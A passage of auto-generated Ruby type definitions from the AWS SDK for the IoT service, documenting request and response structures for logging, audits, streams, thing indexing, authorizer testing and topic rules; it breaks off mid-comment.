@!attribute [rw] authorizer_arn # The authorizer ARN. # @return [String] # class SetDefaultAuthorizerResponse < Struct.new( :authorizer_name, :authorizer_arn) include Aws::Structure end # The input for the SetDefaultPolicyVersion operation. # # @note When making an API call, you may pass SetDefaultPolicyVersionRequest # data as a hash: # # { # policy_name: "PolicyName", # required # policy_version_id: "PolicyVersionId", # required # } # # @!attribute [rw] policy_name # The policy name. # @return [String] # # @!attribute [rw] policy_version_id # The policy version ID. # @return [String] # class SetDefaultPolicyVersionRequest < Struct.new( :policy_name, :policy_version_id) include Aws::Structure end # The input for the SetLoggingOptions operation. # # @note When making an API call, you may pass SetLoggingOptionsRequest # data as a hash: # # { # logging_options_payload: { # required # role_arn: "AwsArn", # required # log_level: "DEBUG", # accepts DEBUG, INFO, ERROR, WARN, DISABLED # }, # } # # @!attribute [rw] logging_options_payload # The logging options payload. # @return [Types::LoggingOptionsPayload] # class SetLoggingOptionsRequest < Struct.new( :logging_options_payload) include Aws::Structure end # @note When making an API call, you may pass SetV2LoggingLevelRequest # data as a hash: # # { # log_target: { # required # target_type: "DEFAULT", # required, accepts DEFAULT, THING_GROUP # target_name: "LogTargetName", # }, # log_level: "DEBUG", # required, accepts DEBUG, INFO, ERROR, WARN, DISABLED # } # # @!attribute [rw] log_target # The log target. # @return [Types::LogTarget] # # @!attribute [rw] log_level # The log level. # @return [String] # class SetV2LoggingLevelRequest < Struct.new( :log_target, :log_level) include Aws::Structure end # @note When making an API call, you may pass SetV2LoggingOptionsRequest # data as a hash: # # { # role_arn: "AwsArn", # default_log_level: "DEBUG", # accepts DEBUG, INFO, ERROR, WARN, DISABLED # disable_all_logs: false, # } # # @!attribute [rw] role_arn # The ARN of the role that allows IoT to write to Cloudwatch logs. # @return [String] # # @!attribute [rw] default_log_level # The default logging level. # @return [String] # # @!attribute [rw] disable_all_logs # If true all logs are disabled. The default is false. # @return [Boolean] # class SetV2LoggingOptionsRequest < Struct.new( :role_arn, :default_log_level, :disable_all_logs) include Aws::Structure end # Use Sig V4 authorization. # # @note When making an API call, you may pass SigV4Authorization # data as a hash: # # { # signing_region: "SigningRegion", # required # service_name: "ServiceName", # required # role_arn: "AwsArn", # required # } # # @!attribute [rw] signing_region # The signing region. # @return [String] # # @!attribute [rw] service_name # The service name to use while signing with Sig V4. # @return [String] # # @!attribute [rw] role_arn # The ARN of the signing role. # @return [String] # class SigV4Authorization < Struct.new( :signing_region, :service_name, :role_arn) include Aws::Structure end # Describes the code-signing profile. # # @note When making an API call, you may pass SigningProfileParameter # data as a hash: # # { # certificate_arn: "CertificateArn", # platform: "Platform", # certificate_path_on_device: "CertificatePathOnDevice", # } # # @!attribute [rw] certificate_arn # Certificate ARN. # @return [String] # # @!attribute [rw] platform # The hardware platform of your device. # @return [String] # # @!attribute [rw] certificate_path_on_device # The location of the code-signing certificate on your device. # @return [String] # class SigningProfileParameter < Struct.new( :certificate_arn, :platform, :certificate_path_on_device) include Aws::Structure end # Describes an action to publish to an Amazon SNS topic. # # @note When making an API call, you may pass SnsAction # data as a hash: # # { # target_arn: "AwsArn", # required # role_arn: "AwsArn", # required # message_format: "RAW", # accepts RAW, JSON # } # # @!attribute [rw] target_arn # The ARN of the SNS topic. # @return [String] # # @!attribute [rw] role_arn # The ARN of the IAM role that grants access. # @return [String] # # @!attribute [rw] message_format # (Optional) The message format of the message to publish. Accepted # values are "JSON" and "RAW". The default value of the attribute # is "RAW". SNS uses this setting to determine if the payload should # be parsed and relevant platform-specific bits of the payload should # be extracted. To read more about SNS message formats, see # [https://docs.aws.amazon.com/sns/latest/dg/json-formats.html][1] # refer to their official documentation. # # # # [1]: https://docs.aws.amazon.com/sns/latest/dg/json-formats.html # @return [String] # class SnsAction < Struct.new( :target_arn, :role_arn, :message_format) include Aws::Structure end # The Rule-SQL expression can't be parsed correctly. # # @!attribute [rw] message # The message for the exception. # @return [String] # class SqlParseException < Struct.new( :message) include Aws::Structure end # Describes an action to publish data to an Amazon SQS queue. # # @note When making an API call, you may pass SqsAction # data as a hash: # # { # role_arn: "AwsArn", # required # queue_url: "QueueUrl", # required # use_base_64: false, # } # # @!attribute [rw] role_arn # The ARN of the IAM role that grants access. # @return [String] # # @!attribute [rw] queue_url # The URL of the Amazon SQS queue. # @return [String] # # @!attribute [rw] use_base_64 # Specifies whether to use Base64 encoding. # @return [Boolean] # class SqsAction < Struct.new( :role_arn, :queue_url, :use_base_64) include Aws::Structure end # @note When making an API call, you may pass StartAuditMitigationActionsTaskRequest # data as a hash: # # { # task_id: "AuditMitigationActionsTaskId", # required # target: { # required # audit_task_id: "AuditTaskId", # finding_ids: ["FindingId"], # audit_check_to_reason_code_filter: { # "AuditCheckName" => ["ReasonForNonComplianceCode"], # }, # }, # audit_check_to_actions_mapping: { # required # "AuditCheckName" => ["MitigationActionName"], # }, # client_request_token: "ClientRequestToken", # required # } # # @!attribute [rw] task_id # A unique identifier for the task. You can use this identifier to # check the status of the task or to cancel it. # @return [String] # # @!attribute [rw] target # Specifies the audit findings to which the mitigation actions are # applied. You can apply them to a type of audit check, to all # findings from an audit, or to a speecific set of findings. # @return [Types::AuditMitigationActionsTaskTarget] # # @!attribute [rw] audit_check_to_actions_mapping # For an audit check, specifies which mitigation actions to apply. # Those actions must be defined in your AWS account. # @return [Hash<String,Array<String>>] # # @!attribute [rw] client_request_token # Each audit mitigation task must have a unique client request token. # If you try to start a new task with the same token as a task that # already exists, an exception occurs. If you omit this value, a # unique client request token is generated automatically. # # **A suitable default value is auto-generated.** You should normally # not need to pass this option. # @return [String] # class StartAuditMitigationActionsTaskRequest < Struct.new( :task_id, :target, :audit_check_to_actions_mapping, :client_request_token) include Aws::Structure end # @!attribute [rw] task_id # The unique identifier for the audit mitigation task. This matches # the `taskId` that you specified in the request. # @return [String] # class StartAuditMitigationActionsTaskResponse < Struct.new( :task_id) include Aws::Structure end # @note When making an API call, you may pass StartOnDemandAuditTaskRequest # data as a hash: # # { # target_check_names: ["AuditCheckName"], # required # } # # @!attribute [rw] target_check_names # Which checks are performed during the audit. The checks you specify # must be enabled for your account or an exception occurs. Use # `DescribeAccountAuditConfiguration` to see the list of all checks, # including those that are enabled or # `UpdateAccountAuditConfiguration` to select which checks are # enabled. # @return [Array<String>] # class StartOnDemandAuditTaskRequest < Struct.new( :target_check_names) include Aws::Structure end # @!attribute [rw] task_id # The ID of the on-demand audit you started. # @return [String] # class StartOnDemandAuditTaskResponse < Struct.new( :task_id) include Aws::Structure end # Information required to start a signing job. # # @note When making an API call, you may pass StartSigningJobParameter # data as a hash: # # { # signing_profile_parameter: { # certificate_arn: "CertificateArn", # platform: "Platform", # certificate_path_on_device: "CertificatePathOnDevice", # }, # signing_profile_name: "SigningProfileName", # destination: { # s3_destination: { # bucket: "S3Bucket", # prefix: "Prefix", # }, # }, # } # # @!attribute [rw] signing_profile_parameter # Describes the code-signing profile. # @return [Types::SigningProfileParameter] # # @!attribute [rw] signing_profile_name # The code-signing profile name. # @return [String] # # @!attribute [rw] destination # The location to write the code-signed file. # @return [Types::Destination] # class StartSigningJobParameter < Struct.new( :signing_profile_parameter, :signing_profile_name, :destination) include Aws::Structure end # @note When making an API call, you may pass StartThingRegistrationTaskRequest # data as a hash: # # { # template_body: "TemplateBody", # required # input_file_bucket: "RegistryS3BucketName", # required # input_file_key: "RegistryS3KeyName", # required # role_arn: "RoleArn", # required # } # # @!attribute [rw] template_body # The provisioning template. # @return [String] # # @!attribute [rw] input_file_bucket # The S3 bucket that contains the input file. # @return [String] # # @!attribute [rw] input_file_key # The name of input file within the S3 bucket. This file contains a # newline delimited JSON file. Each line contains the parameter values # to provision one device (thing). # @return [String] # # @!attribute [rw] role_arn # The IAM role ARN that grants permission the input file. # @return [String] # class StartThingRegistrationTaskRequest < Struct.new( :template_body, :input_file_bucket, :input_file_key, :role_arn) include Aws::Structure end # @!attribute [rw] task_id # The bulk thing provisioning task ID. # @return [String] # class StartThingRegistrationTaskResponse < Struct.new( :task_id) include Aws::Structure end # A statistical ranking (percentile) which indicates a threshold value # by which a behavior is determined to be in compliance or in violation # of the behavior. # # @note When making an API call, you may pass StatisticalThreshold # data as a hash: # # { # statistic: "EvaluationStatistic", # } # # @!attribute [rw] statistic # The percentile which resolves to a threshold value by which # compliance with a behavior is determined. Metrics are collected over # the specified period (`durationSeconds`) from all reporting devices # in your account and statistical ranks are calculated. Then, the # measurements from a device are collected over the same period. If # the accumulated measurements from the device fall above or below # (`comparisonOperator`) the value associated with the percentile # specified, then the device is considered to be in compliance with # the behavior, otherwise a violation occurs. # @return [String] # class StatisticalThreshold < Struct.new( :statistic) include Aws::Structure end # A map of key-value pairs for all supported statistics. Currently, only # count is supported. # # @!attribute [rw] count # The count of things that match the query. # @return [Integer] # # @!attribute [rw] average # The average of the aggregated field values. # @return [Float] # # @!attribute [rw] sum # The sum of the aggregated field values. # @return [Float] # # @!attribute [rw] minimum # The minimum aggregated field value. # @return [Float] # # @!attribute [rw] maximum # The maximum aggregated field value. # @return [Float] # # @!attribute [rw] sum_of_squares # The sum of the squares of the aggregated field values. # @return [Float] # # @!attribute [rw] variance # The variance of the aggregated field values. # @return [Float] # # @!attribute [rw] std_deviation # The standard deviation of the aggregated field values. # @return [Float] # class Statistics < Struct.new( :count, :average, :sum, :minimum, :maximum, :sum_of_squares, :variance, :std_deviation) include Aws::Structure end # Starts execution of a Step Functions state machine. # # @note When making an API call, you may pass StepFunctionsAction # data as a hash: # # { # execution_name_prefix: "ExecutionNamePrefix", # state_machine_name: "StateMachineName", # required # role_arn: "AwsArn", # required # } # # @!attribute [rw] execution_name_prefix # (Optional) A name will be given to the state machine execution # consisting of this prefix followed by a UUID. Step Functions # automatically creates a unique name for each state machine execution # if one is not provided. # @return [String] # # @!attribute [rw] state_machine_name # The name of the Step Functions state machine whose execution will be # started. # @return [String] # # @!attribute [rw] role_arn # The ARN of the role that grants IoT permission to start execution of # a state machine ("Action":"states:StartExecution"). # @return [String] # class StepFunctionsAction < Struct.new( :execution_name_prefix, :state_machine_name, :role_arn) include Aws::Structure end # @note When making an API call, you may pass StopThingRegistrationTaskRequest # data as a hash: # # { # task_id: "TaskId", # required # } # # @!attribute [rw] task_id # The bulk thing provisioning task ID. # @return [String] # class StopThingRegistrationTaskRequest < Struct.new( :task_id) include Aws::Structure end class StopThingRegistrationTaskResponse < Aws::EmptyStructure; end # Describes a group of files that can be streamed. # # @note When making an API call, you may pass Stream # data as a hash: # # { # stream_id: "StreamId", # file_id: 1, # } # # @!attribute [rw] stream_id # The stream ID. # @return [String] # # @!attribute [rw] file_id # The ID of a file associated with a stream. # @return [Integer] # class Stream < Struct.new( :stream_id, :file_id) include Aws::Structure end # Represents a file to stream. # # @note When making an API call, you may pass StreamFile # data as a hash: # # { # file_id: 1, # s3_location: { # bucket: "S3Bucket", # key: "S3Key", # version: "S3Version", # }, # } # # @!attribute [rw] file_id # The file ID. # @return [Integer] # # @!attribute [rw] s3_location # The location of the file in S3. # @return [Types::S3Location] # class StreamFile < Struct.new( :file_id, :s3_location) include Aws::Structure end # Information about a stream. # # @!attribute [rw] stream_id # The stream ID. # @return [String] # # @!attribute [rw] stream_arn # The stream ARN. # @return [String] # # @!attribute [rw] stream_version # The stream version. # @return [Integer] # # @!attribute [rw] description # The description of the stream. # @return [String] # # @!attribute [rw] files # The files to stream. # @return [Array<Types::StreamFile>] # # @!attribute [rw] created_at # The date when the stream was created. # @return [Time] # # @!attribute [rw] last_updated_at # The date when the stream was last updated. # @return [Time] # # @!attribute [rw] role_arn # An IAM role AWS IoT assumes to access your S3 files. # @return [String] # class StreamInfo < Struct.new( :stream_id, :stream_arn, :stream_version, :description, :files, :created_at, :last_updated_at, :role_arn) include Aws::Structure end # A summary of a stream. # # @!attribute [rw] stream_id # The stream ID. # @return [String] # # @!attribute [rw] stream_arn # The stream ARN. # @return [String] # # @!attribute [rw] stream_version # The stream version. # @return [Integer] # # @!attribute [rw] description # A description of the stream. # @return [String] # class StreamSummary < Struct.new( :stream_id, :stream_arn, :stream_version, :description) include Aws::Structure end # A set of key/value pairs that are used to manage the resource. # # @note When making an API call, you may pass Tag # data as a hash: # # { # key: "TagKey", # value: "TagValue", # } # # @!attribute [rw] key # The tag's key. # @return [String] # # @!attribute [rw] value # The tag's value. # @return [String] # class Tag < Struct.new( :key, :value) include Aws::Structure end # @note When making an API call, you may pass TagResourceRequest # data as a hash: # # { # resource_arn: "ResourceArn", # required # tags: [ # required # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] resource_arn # The ARN of the resource. # @return [String] # # @!attribute [rw] tags # The new or modified tags for the resource. # @return [Array<Types::Tag>] # class TagResourceRequest < Struct.new( :resource_arn, :tags) include Aws::Structure end class TagResourceResponse < Aws::EmptyStructure; end # This exception occurs if you attempt to start a task with the same # task-id as an existing task but with a different clientRequestToken. # # @!attribute [rw] message # @return [String] # class TaskAlreadyExistsException < Struct.new( :message) include Aws::Structure end # Statistics for the checks performed during the audit. # # @!attribute [rw] total_checks # The number of checks in this audit. # @return [Integer] # # @!attribute [rw] in_progress_checks # The number of checks in progress. # @return [Integer] # # @!attribute [rw] waiting_for_data_collection_checks # The number of checks waiting for data collection. # @return [Integer] # # @!attribute [rw] compliant_checks # The number of checks that found compliant resources. # @return [Integer] # # @!attribute [rw] non_compliant_checks # The number of checks that found noncompliant resources. # @return [Integer] # # @!attribute [rw] failed_checks # The number of checks. # @return [Integer] # # @!attribute [rw] canceled_checks # The number of checks that did not run because the audit was # canceled. # @return [Integer] # class TaskStatistics < Struct.new( :total_checks, :in_progress_checks, :waiting_for_data_collection_checks, :compliant_checks, :non_compliant_checks, :failed_checks, :canceled_checks) include Aws::Structure end # Provides summary counts of how many tasks for findings are in a # particular state. This information is included in the response from # DescribeAuditMitigationActionsTask. # # @!attribute [rw] total_findings_count # The total number of findings to which a task is being applied. # @return [Integer] # # @!attribute [rw] failed_findings_count # The number of findings for which at least one of the actions failed # when applied. # @return [Integer] # # @!attribute [rw] succeeded_findings_count # The number of findings for which all mitigation actions succeeded # when applied. # @return [Integer] # # @!attribute [rw] skipped_findings_count # The number of findings skipped because of filter conditions provided # in the parameters to the command. # @return [Integer] # # @!attribute [rw] canceled_findings_count # The number of findings to which the mitigation action task was # canceled when applied. # @return [Integer] # class TaskStatisticsForAuditCheck < Struct.new( :total_findings_count, :failed_findings_count, :succeeded_findings_count, :skipped_findings_count, :canceled_findings_count) include Aws::Structure end # @note When making an API call, you may pass TestAuthorizationRequest # data as a hash: # # { # principal: "Principal", # cognito_identity_pool_id: "CognitoIdentityPoolId", # auth_infos: [ # required # { # action_type: "PUBLISH", # accepts PUBLISH, SUBSCRIBE, RECEIVE, CONNECT # resources: ["Resource"], # }, # ], # client_id: "ClientId", # policy_names_to_add: ["PolicyName"], # policy_names_to_skip: ["PolicyName"], # } # # @!attribute [rw] principal # The principal. # @return [String] # # @!attribute [rw] cognito_identity_pool_id # The Cognito identity pool ID. # @return [String] # # @!attribute [rw] auth_infos # A list of authorization info objects. Simulating authorization will # create a response for each `authInfo` object in the list. # @return [Array<Types::AuthInfo>] # # @!attribute [rw] client_id # The MQTT client ID. # @return [String] # # @!attribute [rw] policy_names_to_add # When testing custom authorization, the policies specified here are # treated as if they are attached to the principal being authorized. # @return [Array<String>] # # @!attribute [rw] policy_names_to_skip # When testing custom authorization, the policies specified here are # treated as if they are not attached to the principal being # authorized. # @return [Array<String>] # class TestAuthorizationRequest < Struct.new( :principal, :cognito_identity_pool_id, :auth_infos, :client_id, :policy_names_to_add, :policy_names_to_skip) include Aws::Structure end # @!attribute [rw] auth_results # The authentication results. # @return [Array<Types::AuthResult>] # class TestAuthorizationResponse < Struct.new( :auth_results) include Aws::Structure end # @note When making an API call, you may pass TestInvokeAuthorizerRequest # data as a hash: # # { # authorizer_name: "AuthorizerName", # required # token: "Token", # token_signature: "TokenSignature", # http_context: { # headers: { # "HttpHeaderName" => "HttpHeaderValue", # }, # query_string: "HttpQueryString", # }, # mqtt_context: { # username: "MqttUsername", # password: "data", # client_id: "MqttClientId", # }, # tls_context: { # server_name: "ServerName", # }, # } # # @!attribute [rw] authorizer_name # The custom authorizer name. # @return [String] # # @!attribute [rw] token # The token returned by your custom authentication service. # @return [String] # # @!attribute [rw] token_signature # The signature made with the token and your custom authentication # service's private key. # @return [String] # # @!attribute [rw] http_context # Specifies a test HTTP authorization request. # @return [Types::HttpContext] # # @!attribute [rw] mqtt_context # Specifies a test MQTT authorization request. # @return [Types::MqttContext] # # @!attribute [rw] tls_context # Specifies a test TLS authorization request. # @return [Types::TlsContext] # class TestInvokeAuthorizerRequest < Struct.new( :authorizer_name, :token, :token_signature, :http_context, :mqtt_context, :tls_context) include Aws::Structure end # @!attribute [rw] is_authenticated # True if the token is authenticated, otherwise false. # @return [Boolean] # # @!attribute [rw] principal_id # The principal ID. # @return [String] # # @!attribute [rw] policy_documents # IAM policy documents. # @return [Array<String>] # # @!attribute [rw] refresh_after_in_seconds # The number of seconds after which the temporary credentials are # refreshed. # @return [Integer] # # @!attribute [rw] disconnect_after_in_seconds # The number of seconds after which the connection is terminated. # @return [Integer] # class TestInvokeAuthorizerResponse < Struct.new( :is_authenticated, :principal_id, :policy_documents, :refresh_after_in_seconds, :disconnect_after_in_seconds) include Aws::Structure end # The properties of the thing, including thing name, thing type name, # and a list of thing attributes. # # @!attribute [rw] thing_name # The name of the thing. # @return [String] # # @!attribute [rw] thing_type_name # The name of the thing type, if the thing has been associated with a # type. # @return [String] # # @!attribute [rw] thing_arn # The thing ARN. # @return [String] # # @!attribute [rw] attributes # A list of thing attributes which are name-value pairs. # @return [Hash<String,String>] # # @!attribute [rw] version # The version of the thing record in the registry. # @return [Integer] # class ThingAttribute < Struct.new( :thing_name, :thing_type_name, :thing_arn, :attributes, :version) include Aws::Structure end # The connectivity status of the thing. # # @!attribute [rw] connected # True if the thing is connected to the AWS IoT service; false if it # is not connected. # @return [Boolean] # # @!attribute [rw] timestamp # The epoch time (in milliseconds) when the thing last connected or # disconnected. If the thing has been disconnected for more than a few # weeks, the time value might be missing. # @return [Integer] # class ThingConnectivity < Struct.new( :connected, :timestamp) include Aws::Structure end # The thing search index document. # # @!attribute [rw] thing_name # The thing name. # @return [String] # # @!attribute [rw] thing_id # The thing ID. # @return [String] # # @!attribute [rw] thing_type_name # The thing type name. # @return [String] # # @!attribute [rw] thing_group_names # Thing group names. # @return [Array<String>] # # @!attribute [rw] attributes # The attributes. # @return [Hash<String,String>] # # @!attribute [rw] shadow # The shadow. # @return [String] # # @!attribute [rw] connectivity # Indicates whether the thing is connected to the AWS IoT service. # @return [Types::ThingConnectivity] # class ThingDocument < Struct.new( :thing_name, :thing_id, :thing_type_name, :thing_group_names, :attributes, :shadow, :connectivity) include Aws::Structure end # The thing group search index document. # # @!attribute [rw] thing_group_name # The thing group name. # @return [String] # # @!attribute [rw] thing_group_id # The thing group ID. # @return [String] # # @!attribute [rw] thing_group_description # The thing group description. # @return [String] # # @!attribute [rw] attributes # The thing group attributes. # @return [Hash<String,String>] # # @!attribute [rw] parent_group_names # Parent group names. # @return [Array<String>] # class ThingGroupDocument < Struct.new( :thing_group_name, :thing_group_id, :thing_group_description, :attributes, :parent_group_names) include Aws::Structure end # Thing group indexing configuration. # # @note When making an API call, you may pass ThingGroupIndexingConfiguration # data as a hash: # # { # thing_group_indexing_mode: "OFF", # required, accepts OFF, ON # managed_fields: [ # { # name: "FieldName", # type: "Number", # accepts Number, String, Boolean # }, # ], # custom_fields: [ # { # name: "FieldName", # type: "Number", # accepts Number, String, Boolean # }, # ], # } # # @!attribute [rw] thing_group_indexing_mode # Thing group indexing mode. # @return [String] # # @!attribute [rw] managed_fields # Contains fields that are indexed and whose types are already known # by the Fleet Indexing service. # @return [Array<Types::Field>] # # @!attribute [rw] custom_fields # A list of thing group fields to index. This list cannot contain any # managed fields. Use the GetIndexingConfiguration API to get a list # of managed fields. # # Contains custom field names and their data type. # @return [Array<Types::Field>] # class ThingGroupIndexingConfiguration < Struct.new( :thing_group_indexing_mode, :managed_fields, :custom_fields) include Aws::Structure end # Thing group metadata. # # @!attribute [rw] parent_group_name # The parent thing group name. # @return [String] # # @!attribute [rw] root_to_parent_thing_groups # The root parent thing group. # @return [Array<Types::GroupNameAndArn>] # # @!attribute [rw] creation_date # The UNIX timestamp of when the thing group was created. # @return [Time] # class ThingGroupMetadata < Struct.new( :parent_group_name, :root_to_parent_thing_groups, :creation_date) include Aws::Structure end # Thing group properties. # # @note When making an API call, you may pass ThingGroupProperties # data as a hash: # # { # thing_group_description: "ThingGroupDescription", # attribute_payload: { # attributes: { # "AttributeName" => "AttributeValue", # }, # merge: false, # }, # } # # @!attribute [rw] thing_group_description # The thing group description. # @return [String] # # @!attribute [rw] attribute_payload # The thing group attributes in JSON format. # @return [Types::AttributePayload] # class ThingGroupProperties < Struct.new( :thing_group_description, :attribute_payload) include Aws::Structure end # The thing indexing configuration. For more information, see [Managing # Thing Indexing][1]. # # # # [1]: https://docs.aws.amazon.com/iot/latest/developerguide/managing-index.html # # @note When making an API call, you may pass ThingIndexingConfiguration # data as a hash: # # { # thing_indexing_mode: "OFF", # required, accepts OFF, REGISTRY, REGISTRY_AND_SHADOW # thing_connectivity_indexing_mode: "OFF", # accepts OFF, STATUS # managed_fields: [ # { # name: "FieldName", # type: "Number", # accepts Number, String, Boolean # }, # ], # custom_fields: [ # { # name: "FieldName", # type: "Number", # accepts Number, String, Boolean # }, # ], # } # # @!attribute [rw] thing_indexing_mode # Thing indexing mode. Valid values are: # # * REGISTRY – Your thing index contains registry data only. # # * REGISTRY\_AND\_SHADOW - Your thing index contains registry and # shadow data. # # * OFF - Thing indexing is disabled. # @return [String] # # @!attribute [rw] thing_connectivity_indexing_mode # Thing connectivity indexing mode. Valid values are: # # * STATUS – Your thing index contains connectivity status. To enable # thing connectivity indexing, thingIndexMode must not be set to # OFF. # # * OFF - Thing connectivity status indexing is disabled. # @return [String] # # @!attribute [rw] managed_fields # Contains fields that are indexed and whose types are already known # by the Fleet Indexing service. # @return [Array<Types::Field>] # # @!attribute [rw] custom_fields # Contains custom field names and their data type. # @return [Array<Types::Field>] # class ThingIndexingConfiguration < Struct.new( :thing_indexing_mode, :thing_connectivity_indexing_mode, :managed_fields, :custom_fields) include Aws::Structure end # The definition of the thing type, including thing type name and # description. # # @!attribute [rw] thing_type_name # The name of the thing type. # @return [String] # # @!attribute [rw] thing_type_arn # The thing type ARN. # @return [String] # # @!attribute [rw] thing_type_properties # The ThingTypeProperties for the thing type. # @return [Types::ThingTypeProperties] # # @!attribute [rw] thing_type_metadata # The ThingTypeMetadata contains additional information about the # thing type including: creation date and time, a value indicating # whether the thing type is deprecated, and a date and time when it # was deprecated. # @return [Types::ThingTypeMetadata] # class ThingTypeDefinition < Struct.new( :thing_type_name, :thing_type_arn, :thing_type_properties, :thing_type_metadata) include Aws::Structure end # The ThingTypeMetadata contains additional information about the thing # type including: creation date and time, a value indicating whether the # thing type is deprecated, and a date and time when time was # deprecated. # # @!attribute [rw] deprecated # Whether the thing type is deprecated. If **true**, no new things # could be associated with this type. # @return [Boolean] # # @!attribute [rw] deprecation_date # The date and time when the thing type was deprecated. # @return [Time] # # @!attribute [rw] creation_date # The date and time when the thing type was created. # @return [Time] # class ThingTypeMetadata < Struct.new( :deprecated, :deprecation_date, :creation_date) include Aws::Structure end # The ThingTypeProperties contains information about the thing type # including: a thing type description, and a list of searchable thing # attribute names. # # @note When making an API call, you may pass ThingTypeProperties # data as a hash: # # { # thing_type_description: "ThingTypeDescription", # searchable_attributes: ["AttributeName"], # } # # @!attribute [rw] thing_type_description # The description of the thing type. # @return [String] # # @!attribute [rw] searchable_attributes # A list of searchable thing attribute names. # @return [Array<String>] # class ThingTypeProperties < Struct.new( :thing_type_description, :searchable_attributes) include Aws::Structure end # The rate exceeds the limit. # # @!attribute [rw] message # The message for the exception. # @return [String] # class ThrottlingException < Struct.new( :message) include Aws::Structure end # Specifies the amount of time each device has to finish its execution # of the job. A timer is started when the job execution status is set to # `IN_PROGRESS`. If the job execution status is not set to another # terminal state before the timer expires, it will be automatically set # to `TIMED_OUT`. # # @note When making an API call, you may pass TimeoutConfig # data as a hash: # # { # in_progress_timeout_in_minutes: 1, # } # # @!attribute [rw] in_progress_timeout_in_minutes # Specifies the amount of time, in minutes, this device has to finish # execution of this job. The timeout interval can be anywhere between # 1 minute and 7 days (1 to 10080 minutes). The in progress timer # can't be updated and will apply to all job executions for the job. # Whenever a job execution remains in the IN\_PROGRESS status for # longer than this interval, the job execution will fail and switch to # the terminal `TIMED_OUT` status. # @return [Integer] # class TimeoutConfig < Struct.new( :in_progress_timeout_in_minutes) include Aws::Structure end # Specifies the TLS context to use for the test authorizer request. # # @note When making an API call, you may pass TlsContext # data as a hash: # # { # server_name: "ServerName", # } # # @!attribute [rw] server_name # The value of the `serverName` key in a TLS authorization request. # @return [String] # class TlsContext < Struct.new( :server_name) include Aws::Structure end # Describes a rule. # # @!attribute [rw] rule_name # The name of the rule. # @return [String] # # @!attribute [rw] sql # The SQL statement used to query the topic. When using a SQL query # with multiple lines, be sure to escape the newline characters. # @return [String] # # @!attribute [rw] description # The description of the rule. # @return [String] # # @!attribute [rw] created_at # The date and time the rule was created. # @return [Time] # # @!attribute [rw] actions # The actions associated with the rule. # @return [Array<Types::Action>] # # @!attribute [rw] rule_disabled # Specifies whether the rule is disabled. # @return [Boolean] # # @!attribute [rw] aws_iot_sql_version # The version of the SQL rules engine to use when evaluating the rule. # @return [String] # # @!attribute [rw] error_action # The action to perform when an error occurs. # @return [Types::Action] # class TopicRule < Struct.new( :rule_name, :sql, :description, :created_at, :actions, :rule_disabled, :aws_iot_sql_version, :error_action) include Aws::Structure end # A topic rule destination. # # @!attribute [rw] arn # The topic rule destination URL. # @return [String] # # @!attribute [rw] status # The status of the topic rule destination. Valid values are: # # IN\_PROGRESS # # : A topic rule destination was created but has not been confirmed. # You can set `status` to `IN_PROGRESS` by calling # `UpdateTopicRuleDestination`. Calling `UpdateTopicRuleDestination` # causes a new confirmation challenge to be sent to your # confirmation endpoint. # # ENABLED # # : Confirmation was completed, and traffic to this destination is # allowed. You can set `status` to `DISABLED` by calling # `UpdateTopicRuleDestination`. # # DISABLED # # : Confirmation was completed, and traffic to this destination is not # allowed. You can set `status` to `ENABLED` by calling # `UpdateTopicRuleDestination`. # # ERROR # # : Confirmation could not be completed, for example if the # confirmation timed out. You can call `GetTopicRuleDestination` for # details about the error. You can set `status` to `IN_PROGRESS` by # calling `UpdateTopicRuleDestination`. Calling # `UpdateTopicRuleDestination` causes a new confirmation challenge # to be sent to your confirmation endpoint. # @return [String] # # @!attribute [rw] status_reason # Additional details or reason why the topic rule destination is in # the current status. # @return [String] # # @!attribute [rw] http_url_properties # Properties of the HTTP URL. # @return [Types::HttpUrlDestinationProperties] # class TopicRuleDestination < Struct.new( :arn, :status, :status_reason, :http_url_properties) include Aws::Structure end # Configuration of the topic rule destination. # # @note When making an API call, you may pass TopicRuleDestinationConfiguration # data as a hash: # # { # http_url_configuration: { # confirmation_url: "Url", # required # }, # } # # @!attribute [rw] http_url_configuration # Configuration of the HTTP URL. # @return [Types::HttpUrlDestinationConfiguration] # class TopicRuleDestinationConfiguration < Struct.new( :http_url_configuration) include Aws::Structure end # Information about the topic rule destination. # # @!attribute [rw] arn # The topic rule destination ARN. # @return [String] # # @!attribute [rw] status # The status of the topic rule destination. Valid values are: # # IN\_PROGRESS # # : A topic rule destination was created but has not been confirmed. # You can set `status` to `IN_PROGRESS` by calling # `UpdateTopicRuleDestination`. Calling `UpdateTopicRuleDestination` # causes a new confirmation challenge to be sent to your # confirmation endpoint. # # ENABLED # # : Confirmation was completed, and traffic to this destination is # allowed. You can set `status` to `DISABLED` by calling # `UpdateTopicRuleDestination`. # # DISABLED # # : Confirmation was completed, and traffic to this destination is not # allowed. You can set `status` to `ENABLED` by calling # `UpdateTopicRuleDestination`. # # ERROR # # : Confirmation could not be completed, for example if the # confirmation timed out. You can call `GetTopicRuleDestination` for # details about the error. You can set `status` to `IN_PROGRESS` by # calling `UpdateTopicRuleDestination`. Calling # `UpdateTopicRuleDestination` causes a new confirmation challenge # to be sent to your confirmation endpoint. # @return [String] # # @!attribute [rw] status_reason # The reason the topic rule destination is in the current status. # @return [String] # # @!attribute [rw] http_url_summary # Information about the HTTP URL. # @return [Types::HttpUrlDestinationSummary] # class TopicRuleDestinationSummary < Struct.new( :arn, :status, :status_reason, :http_url_summary) include Aws::Structure end # Describes a rule. # # @!attribute [rw] rule_arn # The rule ARN. # @return [String] # # @!attribute [rw] rule_name # The name of the rule. # @return [String] # # @!attribute [rw] topic_pattern # The pattern for the topic names that apply. # @return [String] # # @!attribute [rw] created_at # The date and time the rule was created. # @return [Time] # # @!attribute [rw] rule_disabled # Specifies whether the rule is disabled. # @return [Boolean] # class TopicRuleListItem < Struct.new( :rule_arn, :rule_name, :topic_pattern, :created_at, :rule_disabled) include Aws::Structure end # Describes a rule. # # @note When making an API call, you may pass TopicRulePayload # data as a hash: # # { # sql: "SQL", # required # description: "Description", # actions: [ # required # { # dynamo_db: { # table_name: "TableName", # required # role_arn: "AwsArn", # required # operation: "DynamoOperation", # hash_key_field: "HashKeyField", # required # hash_key_value: "HashKeyValue", # required # hash_key_type: "STRING", # accepts STRING, NUMBER # range_key_field: "RangeKeyField", # range_key_value: "RangeKeyValue", # range_key_type: "STRING", # accepts STRING, NUMBER # payload_field: "PayloadField", # }, # dynamo_d_bv_2: { # role_arn: "AwsArn", # required # put_item: { # required # table_name: "TableName", # required # }, # }, # lambda: { # function_arn: "FunctionArn", # required # }, # sns: { # target_arn: "AwsArn", # required # 